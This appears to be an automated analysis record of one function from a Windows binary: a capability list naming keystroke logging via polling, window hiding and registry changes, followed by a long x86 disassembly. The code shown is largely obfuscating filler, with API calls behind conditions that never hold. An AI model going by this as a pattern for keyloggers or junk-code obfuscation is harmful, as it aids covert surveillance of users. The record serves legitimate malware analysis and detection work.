Function at 0x466564
Capabilities:
Check os version
Compare security identifiers
Get common file path
Get disk information
Get disk size
Get graphical window text
Get keyboard layout
Hide graphical window
Identify system language via api
Log keystrokes via polling
Query or enumerate registry key
Resume thread
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x36a0
call fcn.0049cfb0
push esi
push edi
mov dword [ebp - 0x9c], 0x149f
mov dword [ebp - 0xd4], 5
mov dword [ebp - 0x1ffc], 0x47346880
mov dword [ebp - 0x1ff8], 0x47346880
mov dword [ebp - 0x1ff4], 0x47346880
mov dword [ebp - 0x1ff0], 0x47346880
mov dword [ebp - 0x2a0], 0xd1649bc0
push 4
lea ecx, [ebp - 0x2b98]
call fcn.00430cb0
mov dword [ebp - 0x624], 0
jmp 0x4665df
mov eax, dword [ebp - 0x624]
inc eax
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 4
jge 0x4665fe
push dword [ebp - 0x624]
lea ecx, [ebp - 0x2b98]
call fcn.00430d9e
and dword [eax], 0
jmp 0x4665d2
mov dword [ebp - 0x9c], 0xa32b1cec
mov eax, dword [ebp - 0xd4]
neg eax
add eax, 0x43046b6e
cmp dword [ebp - 0x9c], eax
jle 0x466629
mov dword [ebp - 0xe9c], 1
jmp 0x466630
and dword [ebp - 0xe9c], 0
mov eax, dword [ebp - 0xe9c]
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0x9c], 0
jne 0x466651
mov dword [ebp - 0x2010], 1
jmp 0x466658
and dword [ebp - 0x2010], 0
push 3
lea ecx, [ebp - 0x2b98]
call fcn.00430d9e
mov dword [ebp - 0x94c], eax
mov eax, dword [ebp - 0x94c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x94c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x94c]
cmp dword [eax], 1
jl 0x466693
mov dword [ebp - 0x1cfc], 1
jmp 0x46669a
and dword [ebp - 0x1cfc], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1ffc]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x1ffc]
imul eax, eax, 0xffff
add eax, 0x72b4
push 4
pop ecx
imul ecx, ecx, 3
cmp eax, dword [ebp + ecx - 0x1ffc]
jne 0x4666db
mov dword [ebp - 0x1d04], 1
jmp 0x4666e2
and dword [ebp - 0x1d04], 0
mov eax, dword [ebp - 0x1cfc]
cmp eax, dword [ebp - 0x1d04]
je 0x466702
cmp dword [ebp - 0x9c], 0
jne 0x466702
and dword [ebp - 0x2078], 0
jmp 0x46670c
mov dword [ebp - 0x2078], 1
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1ffc], 4
jg 0x466727
mov dword [ebp - 0x1d0c], 1
jmp 0x46672e
and dword [ebp - 0x1d0c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ffc]
cmp dword [ebp - 0x1d0c], eax
je 0x4667d4
mov dword [ebp - 0x9c], 0
jmp 0x466760
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jg 0x4667cf
mov dword [ebp - 0x2a0], 3
jmp 0x466782
mov eax, dword [ebp - 0x2a0]
dec eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
jl 0x4667cd
mov dword [ebp - 0xd4], 0
jmp 0x4667a4
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 3
jg 0x4667cb
mov byte [ebp - 0x3c1], 0
movzx eax, byte [ebp - 0x3c1]
test eax, eax
je 0x4667c9
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x466797
jmp 0x466775
jmp 0x466753
jmp 0x46686e
mov dword [ebp - 0x9c], 0xfffffff4
jmp 0x4667ed
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x36
je 0x46686e
mov dword [ebp - 0xd4], 0
jmp 0x46680f
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 3
jg 0x466869
mov dword [ebp - 0x2a0], 0
jmp 0x466831
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 3
jg 0x466867
mov byte [ebp - 0x349], 0
movzx eax, byte [ebp - 0x349]
test eax, eax
je 0x466865
push 0
push 0xe3f
push 0x23b9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
jmp 0x466824
jmp 0x466802
jmp 0x4667e0
lea ecx, [ebp - 0x2b98]
call fcn.00430d82
push 2
lea ecx, [ebp - 0x1f50]
call fcn.00430cb0
mov dword [ebp - 0x4d4], 0x2ee76f50
mov dword [ebp - 0x1b8], 0
jmp 0x4668a9
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jge 0x4668c8
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0x1f50]
call fcn.00430d9e
and dword [eax], 0
jmp 0x46689c
mov dword [ebp - 0x1b8], 0
jmp 0x4668e1
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 2
jge 0x4668fd
mov eax, dword [ebp - 0x1b8]
mov dword [ebp + eax*4 - 0x3224], 0xcc5c6a3f
jmp 0x4668d4
mov dword [ebp - 0x4d4], 1
jmp 0x466916
mov eax, dword [ebp - 0x4d4]
dec eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 0
jl 0x466a87
mov dword [ebp - 0xf4], 0xffffffff
mov byte [ebp - 0x41c], 0
movzx eax, byte [ebp - 0x41c]
test eax, eax
je 0x46694e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
mov dword [ebp - 0xf4], 0
jmp 0x466967
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jg 0x466a82
mov dword [ebp - 0x1d14], 7
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xf4], eax
jl 0x466998
mov dword [ebp - 0x1d1c], 1
jmp 0x46699f
and dword [ebp - 0x1d1c], 0
mov dword [ebp - 0x1d14], 0xffffffff
mov eax, dword [ebp - 0x1d14]
mov dword [ebp - 0x2c6c], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x31d0], eax
or eax, 0xffffffff
je 0x4669d9
push 5
pop eax
test eax, eax
je 0x4669d9
mov dword [ebp - 0x1d24], 1
jmp 0x4669e0
and dword [ebp - 0x1d24], 0
mov eax, dword [ebp - 0x1d1c]
cmp eax, dword [ebp - 0x1d24]
jle 0x4669fa
mov dword [ebp - 0x1d2c], 1
jmp 0x466a01
and dword [ebp - 0x1d2c], 0
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x1f50]
call fcn.00430d9e
push 1
lea ecx, [ebp - 0x1f50]
call fcn.00430d9e
mov esi, dword [ebp - 0x4d4]
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x1f50]
call fcn.00430d9e
add esi, dword [eax]
cmp esi, 0xe86f8c7b
jae 0x466a4d
xor eax, eax
jne 0x466a4d
and dword [ebp - 0x2080], 0
jmp 0x466a57
mov dword [ebp - 0x2080], 1
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x1f50]
call fcn.00430d9e
mov eax, 0xffd03b15
sub eax, 0xfffffffc
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3224], eax
jmp 0x46695a
jmp 0x466909
lea ecx, [ebp - 0x1f50]
call fcn.00430d82
mov dword [ebp - 0xa8], 9
mov dword [ebp - 0x78c], 0
jmp 0x466ab5
mov eax, dword [ebp - 0x78c]
inc eax
mov dword [ebp - 0x78c], eax
cmp dword [ebp - 0x78c], 3
jge 0x466ad1
mov eax, dword [ebp - 0x78c]
mov dword [ebp + eax*4 - 0x26d0], 0xa6847dfa
jmp 0x466aa8
mov byte [ebp - 0x351], 0
movzx eax, byte [ebp - 0x351]
test eax, eax
je 0x466aed
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0xa8], 0
jmp 0x466b06
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jg 0x466c0d
mov eax, 0x74bf90ed
test eax, eax
je 0x466bd2
cmp dword [ebp - 0xa8], 0x35ca4204
jge 0x466b38
mov dword [ebp - 0x1d34], 1
jmp 0x466b3f
and dword [ebp - 0x1d34], 0
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp + eax*4 - 0x26d0]
cmp dword [ebp - 0x1d34], eax
jle 0x466b60
mov dword [ebp - 0x1d3c], 1
jmp 0x466b67
and dword [ebp - 0x1d3c], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x1d3c], eax
jl 0x466b81
mov dword [ebp - 0x1d44], 1
jmp 0x466b88
and dword [ebp - 0x1d44], 0
cmp dword [ebp - 0x1d44], 0
jae 0x466b9d
mov dword [ebp - 0x1d4c], 1
jmp 0x466ba4
and dword [ebp - 0x1d4c], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x1d4c], eax
jl 0x466bbe
mov dword [ebp - 0x1d54], 1
jmp 0x466bc5
and dword [ebp - 0x1d54], 0
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp + eax*4 - 0x26d0]
mov eax, dword [ebp - 0xa8]
cmp dword [ebp + eax*4 - 0x26d0], 1
jne 0x466bee
mov dword [ebp - 0x1d5c], 1
jmp 0x466bf5
and dword [ebp - 0x1d5c], 0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x1d5c]
mov dword [ebp + eax*4 - 0x26d0], ecx
jmp 0x466af9
mov dword [ebp - 0x88], 0x149f
push 3
lea ecx, [ebp - 0x1d94]
call fcn.00430cb0
mov dword [ebp - 0x564], 0xe2236432
mov dword [ebp - 0x2088], 2
mov dword [ebp - 0x62c], 0
jmp 0x466c51
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 3
jge 0x466c73
push dword [ebp - 0x62c]
lea ecx, [ebp - 0x1d94]
call fcn.00430d9e
mov dword [eax], 0xb9b55bb2
jmp 0x466c44
mov dword [ebp - 0x564], 0
jmp 0x466c8c
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 2
jg 0x466e0b
mov dword [ebp - 0x42c], 4
mov dword [ebp - 0xbfc], 9
mov dword [ebp - 0x42c], 2
jmp 0x466cc6
mov eax, dword [ebp - 0x42c]
dec eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
jl 0x466deb
push dword [ebp - 0x42c]
lea ecx, [ebp - 0x1d94]
call fcn.00430d9e
cmp dword [eax], 0
je 0x466d07
push 2
lea ecx, [ebp - 0x1d94]
call fcn.00430d9e
cmp dword [eax], 0
je 0x466d07
mov dword [ebp - 0x1d64], 1
jmp 0x466d0e
and dword [ebp - 0x1d64], 0
cmp dword [ebp - 0x1d64], 0xffffffff
jb 0x466d23
mov dword [ebp - 0x1d74], 1
jmp 0x466d2a
and dword [ebp - 0x1d74], 0
push 1
lea ecx, [ebp - 0x1d94]
call fcn.00430d9e
cmp dword [eax], 0x4de6f885
jne 0x466d4b
mov dword [ebp - 0x1d6c], 1
jmp 0x466d52
and dword [ebp - 0x1d6c], 0
imul eax, dword [ebp - 0x1d6c], 0xffff
test eax, eax
je 0x466d87
push 1
lea ecx, [ebp - 0x1d94]
call fcn.00430d9e
cmp dword [eax], 0
je 0x466d87
mov eax, 0x34bd
test eax, eax
je 0x466d87
mov dword [ebp - 0x1d7c], 1
jmp 0x466d8e
and dword [ebp - 0x1d7c], 0
mov eax, dword [ebp - 0x1d74]
cmp eax, dword [ebp - 0x1d7c]
jge 0x466db2
push dword [ebp - 0x42c]
lea ecx, [ebp - 0x1d94]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x466dc4
mov eax, 0x6753
test eax, eax
jne 0x466dc4
and dword [ebp - 0x1d84], 0
jmp 0x466dce
mov dword [ebp - 0x1d84], 1
mov eax, dword [ebp - 0x1d84]
mov dword [ebp - 0xbfc], eax
mov eax, dword [ebp - 0xbfc]
mov dword [ebp - 0x2088], eax
jmp 0x466cb9
push dword [ebp - 0x564]
lea ecx, [ebp - 0x1d94]
call fcn.00430d9e
cmp dword [eax], 0
je 0x466e06
jmp 0x466c7f
jmp 0x466c7f
lea ecx, [ebp - 0x1d94]
call fcn.00430d82
mov dword [ebp - 0x104], 5
mov dword [ebp - 0xdc], 0x2ba39464
mov dword [ebp - 0x1b24], 0x7525d2d9
mov dword [ebp - 0x224], 0
jmp 0x466e4d
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 1
jge 0x466e69
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0xa74], 0xc93
jmp 0x466e40
mov dword [ebp - 0x224], 0
jmp 0x466e82
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 1
jge 0x466e9e
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0x2090], 0x1874da86
jmp 0x466e75
mov dword [ebp - 0xdc], 0
jmp 0x466eb7
mov eax, dword [ebp - 0xdc]
dec eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
jl 0x467066
mov dword [ebp - 0x1b3c], 0xfffffff6
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x2ec4], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x1b24], eax
cmp dword [ebp - 0x1b24], 0x9cf13e1
jl 0x466efe
mov dword [ebp - 0xc04], 1
jmp 0x466f05
and dword [ebp - 0xc04], 0
cmp dword [ebp - 0xc04], 0xfffffffb
ja 0x466f1a
mov dword [ebp - 0x1b2c], 1
jmp 0x466f21
and dword [ebp - 0x1b2c], 0
cmp dword [ebp - 0x1b2c], 0xe008fb0b
jb 0x466f39
mov dword [ebp - 0xc0c], 1
jmp 0x466f40
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp + eax*4 - 0xa74]
cmp dword [ebp - 0xc0c], eax
jl 0x466f61
mov dword [ebp - 0x1b34], 1
jmp 0x466f68
and dword [ebp - 0x1b34], 0
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp + eax*4 - 0xa74]
cmp dword [ebp - 0x1b34], eax
je 0x466f89
mov dword [ebp - 0xc14], 1
jmp 0x466f90
and dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0xc14]
mov dword [ebp - 0x1b3c], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp + eax*4 - 0xa74]
cmp eax, dword [ebp - 0x1b3c]
jle 0x466fbd
mov dword [ebp - 0xc1c], 1
jmp 0x466fc4
and dword [ebp - 0xc1c], 0
push 2
pop eax
sub eax, dword [ebp - 0xc1c]
je 0x466fe4
cmp dword [ebp - 0xdc], 0
je 0x466fe4
mov dword [ebp - 0x1b44], 1
jmp 0x466feb
and dword [ebp - 0x1b44], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b44]
mov dword [ebp + eax - 0x2090], ecx
mov byte [ebp - 0x412], 0
movzx eax, byte [ebp - 0x412]
test eax, eax
je 0x467061
push 0x138c
push 0x13e1
push 0x2000
push 0
push 0x7b0
push 0x537
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x17f5
push 0x2148
push 0x615
push 0x2165
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
jmp 0x466eaa
mov dword [ebp - 0x1fdc], 0x47346880
mov dword [ebp - 0x1fd8], 0x47346880
mov dword [ebp - 0x1fd4], 0x47346880
mov dword [ebp - 0x1fd0], 0x47346880
mov dword [ebp - 0x4dc], 0xb5a5efa2
push 1
lea ecx, [ebp - 0x2940]
call fcn.00430cb0
mov dword [ebp - 0x64], 0
jmp 0x4670b5
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x4670d1
push dword [ebp - 0x64]
lea ecx, [ebp - 0x2940]
call fcn.00430d9e
mov dword [eax], 0x735e4b78
jmp 0x4670ae
mov dword [ebp - 0x64], 0
jmp 0x4670e1
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x4670f7
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x2098], 0x6076fda0
jmp 0x4670da
mov dword [ebp - 0x64], 0
jmp 0x467107
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x46711d
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x20a0], 8
jmp 0x467100
mov eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0x4dc], eax
jl 0x467137
mov dword [ebp - 0x954], 1
jmp 0x46713e
and dword [ebp - 0x954], 0
cmp dword [ebp - 0x4dc], 0x52aa
jg 0x467156
mov dword [ebp - 0xc24], 1
jmp 0x46715d
and dword [ebp - 0xc24], 0
mov eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0xc24], eax
jl 0x467177
mov dword [ebp - 0x1b4c], 1
jmp 0x46717e
and dword [ebp - 0x1b4c], 0
mov eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0x1b4c], eax
jl 0x467198
mov dword [ebp - 0xc2c], 1
jmp 0x46719f
and dword [ebp - 0xc2c], 0
cmp dword [ebp - 0xc2c], 1
ja 0x4671b4
mov dword [ebp - 0x1b54], 1
jmp 0x4671bb
and dword [ebp - 0x1b54], 0
push 0
lea ecx, [ebp - 0x2940]
call fcn.00430d9e
mov ecx, dword [ebp - 0x954]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b54]
sub ecx, dword [ebp + eax - 0x2098]
cmp dword [ebp - 0x954], ecx
jle 0x4671f7
mov dword [ebp - 0xc34], 1
jmp 0x4671fe
and dword [ebp - 0xc34], 0
cmp dword [ebp - 0xc34], 0xcba2afe0
jae 0x467216
mov dword [ebp - 0x1b5c], 1
jmp 0x46721d
and dword [ebp - 0x1b5c], 0
cmp dword [ebp - 0x1b5c], 0x5062d7bc
jne 0x467235
mov dword [ebp - 0xc3c], 1
jmp 0x46723c
and dword [ebp - 0xc3c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp + eax - 0x20a0], ecx
lea ecx, [ebp - 0x2940]
call fcn.00430d82
mov dword [ebp - 0x248], 0xd1649bc0
mov dword [ebp - 0xc4c], 0x8974b66
mov dword [ebp - 0xa7c], 5
mov dword [ebp - 0xb18], 0xa924c000
mov dword [ebp - 0x8d0], 0xc3c39ba0
mov dword [ebp - 0x95c], 8
mov dword [ebp - 0x20a8], 0xb95ae649
push 1
lea ecx, [ebp - 0x1e44]
call fcn.00430cb0
mov dword [ebp - 0x5ac], 0xffffffff
mov dword [ebp - 0x20b0], 0xc04840c2
mov dword [ebp - 0x12c], 0
jmp 0x4672da
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jge 0x4672f6
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x2744], 6
jmp 0x4672cd
mov dword [ebp - 0x12c], 0
jmp 0x46730f
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 1
jge 0x467331
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x1e44]
call fcn.00430d9e
mov dword [eax], 1
jmp 0x467302
push 0
lea ecx, [ebp - 0x1e44]
call fcn.00430d9e
mov dword [ebp - 0x1b64], eax
mov eax, dword [ebp - 0x1b64]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1b64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x3408], eax
push 5
pop eax
test eax, eax
je 0x4674ee
mov dword [ebp - 0x20a8], 0xebef
cmp dword [ebp - 0x8d0], 0
jne 0x46738d
xor eax, eax
inc eax
jne 0x46738d
and dword [ebp - 0xc44], 0
jmp 0x467397
mov dword [ebp - 0xc44], 1
imul eax, dword [ebp - 0xc44], 0x2e7e
test eax, eax
jge 0x4673b1
mov dword [ebp - 0x1b6c], 1
jmp 0x4673b8
and dword [ebp - 0x1b6c], 0
mov eax, dword [ebp - 0x1b6c]
neg eax
mov dword [ebp - 0xc4c], eax
mov eax, dword [ebp - 0xc4c]
mov dword [ebp - 0x2ecc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2744]
mov dword [ebp - 0x31e0], eax
mov eax, dword [ebp - 0x5ac]
cmp dword [ebp - 0x95c], eax
jge 0x4673ff
mov dword [ebp - 0x1b74], 1
jmp 0x467406
and dword [ebp - 0x1b74], 0
cmp dword [ebp - 0x1b74], 0
jb 0x46741b
mov dword [ebp - 0xc54], 1
jmp 0x467422
and dword [ebp - 0xc54], 0
mov esi, dword [ebp - 0xc54]
add esi, 8
push 0
lea ecx, [ebp - 0x1e44]
call fcn.00430d9e
cmp esi, dword [eax]
jle 0x467448
mov dword [ebp - 0x1b7c], 1
jmp 0x46744f
and dword [ebp - 0x1b7c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1b7c]
mov dword [ebp + eax - 0x2744], ecx
mov eax, dword [ebp - 0xb18]
mov dword [ebp - 0x2ed4], eax
cmp dword [ebp - 0x8d0], 0
jne 0x467485
xor eax, eax
inc eax
jne 0x467485
and dword [ebp - 0xc5c], 0
jmp 0x46748f
mov dword [ebp - 0xc5c], 1
mov eax, dword [ebp - 0xc5c]
mov dword [ebp - 0xb18], eax
mov esi, dword [ebp - 0xb18]
push 0
lea ecx, [ebp - 0x1e44]
call fcn.00430d9e
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x1e44]
call fcn.00430d9e
imul esi, dword [eax]
mov dword [ebp - 0x8d0], esi
mov eax, dword [ebp - 0x8d0]
mov dword [ebp - 0x95c], eax
mov eax, dword [ebp - 0x95c]
neg eax
cmp eax, dword [ebp - 0xa7c]
jle 0x4674ee
mov dword [ebp - 0x1b84], 1
jmp 0x4674f5
and dword [ebp - 0x1b84], 0
push 0
lea ecx, [ebp - 0x1e44]
call fcn.00430d9e
mov ecx, dword [ebp - 0x1b84]
cmp ecx, dword [eax]
jg 0x467518
mov dword [ebp - 0xc64], 1
jmp 0x46751f
and dword [ebp - 0xc64], 0
mov eax, dword [ebp - 0xc64]
mov dword [ebp - 0xa7c], eax
cmp dword [ebp - 0xa7c], 0
jne 0x467547
push 3
pop eax
test eax, eax
jne 0x467547
mov dword [ebp - 0x1b8c], 1
jmp 0x46754e
and dword [ebp - 0x1b8c], 0
mov eax, dword [ebp - 0x5ac]
cmp dword [ebp - 0x1b8c], eax
jl 0x467568
mov dword [ebp - 0xc6c], 1
jmp 0x46756f
and dword [ebp - 0xc6c], 0
mov eax, dword [ebp - 0x5ac]
cmp dword [ebp - 0xc6c], eax
je 0x467589
mov dword [ebp - 0x1b94], 1
jmp 0x467590
and dword [ebp - 0x1b94], 0
mov eax, dword [ebp - 0x1b94]
sub eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x20b0], eax
lea ecx, [ebp - 0x1e44]
call fcn.00430d82
push 4
lea ecx, [ebp - 0x2a78]
call fcn.00430cb0
mov dword [ebp - 0x4c8], 0xffffffff
push 2
lea ecx, [ebp - 0x1ef0]
call fcn.00430cb0
push 1
lea ecx, [ebp - 0x294c]
call fcn.00430cb0
mov dword [ebp - 0x1ac], 0
jmp 0x4675f7
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 2
jge 0x467616
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0x1ef0]
call fcn.00430d9e
and dword [eax], 0
jmp 0x4675ea
mov dword [ebp - 0x1ac], 0
jmp 0x46762f
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 1
jge 0x467651
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0x294c]
call fcn.00430d9e
mov dword [eax], 0x4592404e
jmp 0x467622
mov dword [ebp - 0x4c8], 1
mov dword [ebp - 0x4c8], 0
jmp 0x467674
mov eax, dword [ebp - 0x4c8]
inc eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 1
jg 0x4679e3
mov dword [ebp - 0x238], 0x82a1836c
mov dword [ebp - 0x1b9c], 2
mov dword [ebp - 0xb0c], 9
push 2
lea ecx, [ebp - 0x302c]
call fcn.00430cb0
mov dword [ebp - 0x3368], 0xffffffff
mov dword [ebp - 0x850], 0x56370016
mov dword [ebp - 0x20b8], 1
mov dword [ebp - 0x134], 0
jmp 0x4676e3
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 2
jge 0x467705
push dword [ebp - 0x134]
lea ecx, [ebp - 0x302c]
call fcn.00430d9e
mov dword [eax], 0xfffffff7
jmp 0x4676d6
mov dword [ebp - 0x134], 0
jmp 0x46771e
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 3
jge 0x46773a
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x3490], 0x6e31bb00
jmp 0x467711
mov dword [ebp - 0x238], 0
jmp 0x467753
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 1
jg 0x4679d3
mov dword [ebp - 0x7a0], 0x1dfe4b28
mov dword [ebp - 0x2edc], 0xb8561371
mov dword [ebp - 0x31f0], 0xb000cd9d
push 1
lea ecx, [ebp - 0x301c]
call fcn.00430cb0
mov dword [ebp - 0x2ee4], 0xb4dfecbe
mov dword [ebp - 0x634], 0
jmp 0x4677ae
mov eax, dword [ebp - 0x634]
inc eax
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 1
jge 0x4677d0
push dword [ebp - 0x634]
lea ecx, [ebp - 0x301c]
call fcn.00430d9e
mov dword [eax], 0xda7bc999
jmp 0x4677a1
mov dword [ebp - 0x7a0], 1
jmp 0x4677e9
mov eax, dword [ebp - 0x7a0]
dec eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 0
jl 0x4679c3
mov dword [ebp - 0x3440], 0x61fc
push 1
lea ecx, [ebp - 0x300c]
call fcn.00430cb0
mov dword [ebp - 0x2eec], 0x84257392
mov dword [ebp - 0xc74], 0x3d478254
mov dword [ebp - 0x1ba4], 1
mov dword [ebp - 0x63c], 0
jmp 0x467844
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 1
jge 0x467863
push dword [ebp - 0x63c]
lea ecx, [ebp - 0x300c]
call fcn.00430d9e
or dword [eax], 0xffffffff
jmp 0x467837
mov eax, dword [ebp - 0xc74]
dec eax
mov dword [ebp - 0xc74], eax
mov dword [ebp - 0x850], 0
jmp 0x467889
mov eax, dword [ebp - 0x850]
inc eax
mov dword [ebp - 0x850], eax
cmp dword [ebp - 0x850], 1
jg 0x4679b3
push 0
lea ecx, [ebp - 0x294c]
call fcn.00430d9e
push dword [ebp - 0x238]
lea ecx, [ebp - 0x1ef0]
call fcn.00430d9e
push dword [ebp - 0x238]
lea ecx, [ebp - 0x1ef0]
call fcn.00430d9e
mov eax, dword [eax]
mov dword [ebp - 0x1b9c], eax
mov eax, dword [ebp - 0xb0c]
cmp dword [ebp - 0x1b9c], eax
je 0x4678e7
mov dword [ebp - 0xc7c], 1
jmp 0x4678ee
and dword [ebp - 0xc7c], 0
mov eax, dword [ebp - 0xc7c]
mov dword [ebp - 0x1ba4], eax
cmp dword [ebp - 0x1ba4], 0
jne 0x467922
push dword [ebp - 0x238]
lea ecx, [ebp - 0x1ef0]
call fcn.00430d9e
cmp dword [eax], 0
jne 0x467922
and dword [ebp - 0x964], 0
jmp 0x46792c
mov dword [ebp - 0x964], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x964]
mov dword [ebp + eax - 0x3490], ecx
push dword [ebp - 0x238]
lea ecx, [ebp - 0x1ef0]
call fcn.00430d9e
mov eax, dword [eax]
cmp eax, dword [ebp - 0x964]
je 0x467966
mov dword [ebp - 0xc84], 1
jmp 0x46796d
and dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0xc84]
mov dword [ebp - 0xb0c], eax
mov eax, dword [ebp - 0xb0c]
mov dword [ebp - 0x3200], eax
xor eax, eax
inc eax
cmp eax, 0x397bde51
jae 0x46799b
mov dword [ebp - 0x1bac], 1
jmp 0x4679a2
and dword [ebp - 0x1bac], 0
mov eax, dword [ebp - 0x1bac]
mov dword [ebp - 0x20b8], eax
jmp 0x46787c
lea ecx, [ebp - 0x300c]
call fcn.00430d82
jmp 0x4677dc
lea ecx, [ebp - 0x301c]
call fcn.00430d82
